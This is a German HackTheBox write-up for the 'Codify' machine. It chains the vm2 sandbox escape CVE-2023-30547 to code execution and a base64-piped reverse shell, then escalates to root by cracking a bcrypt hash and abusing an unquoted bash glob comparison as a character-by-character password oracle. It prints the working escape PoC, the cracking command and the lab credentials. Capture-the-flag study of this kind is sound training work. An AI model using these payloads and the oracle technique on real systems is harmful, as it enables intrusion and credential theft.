// HackTheBox
Codify
CVE-2023-30547 (vm2-Sandbox-Escape, <=3.9.16) → svc → joshua → root
Aufklärung
Ein nmap-Scan lieferte drei Ports:
| Port | Dienst |
|---|---|
| 22 | SSH |
| 80 | HTTP (Apache, Weiterleitungen/Spiegelungen) |
| 3000 | HTTP (Node.js Express — “Codify”, “Test your Node.js code easily” — ein im Browser laufender, sandboxed JS-Runner, der vm2 verwendet) |
Port 3000 ist der interessante: eine Web-App, die vom Benutzer geliefertes JavaScript
serverseitig innerhalb einer Sandbox ausführt. Die Seite /limitations listet
blockierte Module auf (child_process, fs), was bestätigt, dass die Sandbox auf
vm2 aufbaut — einer beliebten Node.js-Bibliothek zum Ausführen von nicht
vertrauenswürdigem Code in einem isolierten Kontext. Die Seite /editor nimmt den
eingegebenen Code, kodiert ihn base64 und sendet ihn per POST an /run. Eine App,
deren gesamter Zweck das Ausführen von angreiferkontrolliertem JS innerhalb von vm2
ist, ist der Faden, an dem man zieht, denn vm2 hat eine Geschichte von
Sandbox-Escape-CVEs — ist die Version alt genug, wird aus “Code in der Sandbox
ausführen” ein “Code auf dem Host ausführen”.
Erstzugang — CVE-2023-30547 (vm2-Sandbox-Escape, <=3.9.16)
1. Der vm2-Escape
vm2 isoliert Gast-Code, indem es jeden Wert, der die Sandbox-Grenze überschreitet,
umhüllt und jede Exception bereinigt, bevor sie den Host-Code erreicht. CVE-2023-30547
ist eine Lücke in dieser Bereinigung: eine getPrototypeOf-Proxy-Trap kann eine
Host-Exception werfen, die vm2 nicht bereinigt, sodass ein nicht umhülltes, echtes
Host-Error-Objekt in den Gast durchsickert. Von diesem echten Host-Objekt aus kann
der Gast zum echten Function-Konstruktor des Hosts hinaufsteigen und von dort das
Host-process erreichen — womit die Sandbox vollständig verlassen ist. Der öffentliche
PoC (aus dem GitHub-Security-Advisory-Writeup von leesh3288) wird direkt verwendet,
wobei execSync einen beliebigen Befehl aufruft:
err = {};
const handler = { getPrototypeOf(target) {
(function stack(){ new Error().stack; stack(); })();
}};
const proxiedErr = new Proxy(err, handler);
try { throw proxiedErr; }
catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('<cmd>');
}
Die getPrototypeOf-Trap lässt bewusst den Stack überlaufen (stack() ruft sich
selbst auf), was den Host zwingt, einen RangeError zu werfen; die unbereinigte Version
dieses Fehlers ist das, was der catch-Block einfängt. c.constructor('return process')()
rekonstruiert das Host-Function und liefert das echte process-Objekt zurück, dessen
mainModule.require genau das child_process-Modul laden kann, das die Sandbox zu
blockieren vorgab.
2. Von der Codeausführung zur Reverse-Shell
/run spiegelt den Wert des letzten Ausdrucks als {"output": ...} zurück, daher muss
der execSync-Aufruf der letzte Ausdruck sein, damit seine Ausgabe erscheint. id auf
diese Weise auszuführen liefert uid=1001(svc) — bestätigt die Codeausführung als
Benutzer svc. Das Ersetzen von <cmd> durch eine Reverse-Shell erfordert Sorgfalt:
der Befehls-String wird durch ein JS-String-Literal und dann eine Shell gereicht, und
ein darin verschachteltes bash -c '...' stapelt Quoting-Schichten, die leicht brechen.
Der zuverlässige Trick ist, den Reverse-Shell-Befehl base64 zu kodieren und auf dem Ziel
zu dekodieren, was verschachtelte Anführungszeichen vollständig vermeidet:
echo <b64> | base64 -d | bash
Mit einem laufenden nc-Listener landet damit eine Shell als svc.
Rechteausweitung — svc → joshua → root
1. svc → joshua über einen geleakten bcrypt-Hash
svc hat keine user.txt, und das Home-Verzeichnis gehört joshua (das Durchsuchen
wird mit „permission denied” verweigert), also liegt die Flag auf einem anderen Konto.
Das Durchsuchen des Web-Roots fördert /var/www/contact/tickets.db zutage, eine
SQLite-Datenbank — was zum Hinweis der Seite selbst passt, dass ihr “ticketing system
is being migrated”. Ihre users-Tabelle enthält einen bcrypt-Hash für joshua.
bcrypt ist bewusst langsam, aber ein schwaches Passwort fällt dennoch einer Wortliste
zum Opfer; john knackt ihn in etwa 26 Sekunden gegen rockyou.txt und liefert
spongebob1:
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Diese Zugangsdaten funktionieren direkt über SSH, loggen als joshua ein und liefern
die User-Flag.
2. Das sudo-Backup-Skript und sein Glob-Orakel
sudo -l als joshua zeigt einen erlaubten Befehl:
(root) /opt/scripts/mysql-backup.sh
Es gibt kein NOPASSWD, das Ausführen benötigt also joshuas Passwort — bereits
bekannt. Der relevante Teil des Skripts:
DB_PASS=$(/usr/bin/cat /root/.creds)
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
if [[ $DB_PASS == $USER_PASS ]]; then ...
Der Fehler ist, dass $USER_PASS auf der rechten Seite von [[ == ]] ohne
Anführungszeichen steht. In bash ist eine rechte Seite ohne Anführungszeichen in
[[ == ]] kein String-Vergleich — sie wird als Glob-Muster behandelt, das gegen die
linke Seite abgeglichen wird. Das hat zwei Konsequenzen. Es ist ein vollständiger
Authentifizierungs-Bypass (die Eingabe * allein passt auf jedes DB_PASS), aber weit
nützlicher: es ist ein zeichenweises Orakel: die Eingabe <prefix>* gibt nur dann
“Password confirmed!” aus, wenn der echte Wert von /root/.creds mit <prefix>
beginnt. Indem man jedes mögliche nächste Zeichen durchprobiert und dasjenige behält,
das weiterhin passt, lässt sich das gesamte Geheimnis Zeichen für Zeichen wiederherstellen.
Dies ist in exploit/crack_root_pass.rb automatisiert. Es läuft nicht-interaktiv —
read -s funktioniert problemlos auf einem gepipten, nicht-tty-stdin, es gibt also
keine PTY/termios-Probleme (anders als bei Devvortex’ apport-cli) — und es treibt die
Rateversuche über eine SSH-ControlMaster-Verbindung (ssh -O ... -o ControlPersist),
sodass jeder Versuch einen gemultiplexten Kanal wiederverwendet, statt einen frischen
TCP+Auth-Handshake zu bezahlen (~0,3s pro Versuch gegenüber mehreren Sekunden ohne
Multiplexing). Es stellt das vollständige, 22 Zeichen lange Credential in unter einer
Minute wieder her: kljh12k3jhaskjh12kjh3.
3. Credential-Wiederverwendung → root
Dieser extrahierte Wert stellt sich als zugleich das Linux-Login-Passwort von root
heraus — Credential-Wiederverwendung, konsistent mit dem Rest dieser Box. su root
damit lässt direkt in eine Root-Shell fallen, ganz ohne den privilegierten
mysqldump-Pfad des Backup-Skripts tatsächlich ausführen zu müssen:
$ su root
Erkenntnisse
vm2-Sandbox-Escapes (die CVE-2023-30547 dieser Box und ihre Geschwister CVE-2023-32314/37903 je nach Patch-Stand) sind aus den GitHub Security Advisories der Bibliothek selbst copy-paste-bar — diese direkt prüfen, statt generische “Prototype-Pollution”-artige Payloads zu raten.- Eine Payload durch mehrere Quoting-Schichten zu reichen (Shell → base64 → JS-String →
wieder Shell für den Reverse-Shell-Befehl) ist mit verschachtelten einfachen Anführungszeichen fragil;
den innersten Shell-Befehl base64-zu-kodieren und durch
base64 -d | bashzu pipen umgeht das Quote-Escaping vollständig. [[ $a == $b ]]mit einer rechten Seite ohne Anführungszeichen ist in bash ein Glob-Muster-Abgleich, keine String-Gleichheit — dies ist dieselbe zugrunde liegende Fehlerklasse wie Perfections^/$- Zeilenanker-Problem: eine Sprach-/Shell-Falle rund um implizite Muster-Semantik. Über das bloße Umgehen einer solchen Prüfung hinaus ist es ein praktisches Orakel, um das tatsächlich verglichene Geheimnis Zeichen für Zeichen zu exfiltrieren.- SSH
ControlMaster/ControlPersistlohnt sich für jede Brute-Force- oder orakelbasierte Extraktion, die viele sequentielle SSH-Round-Trips benötigt — es senkt die Latenz pro Versuch von einem vollständigen Handshake auf das Öffnen eines einzelnen gemultiplexten Kanals.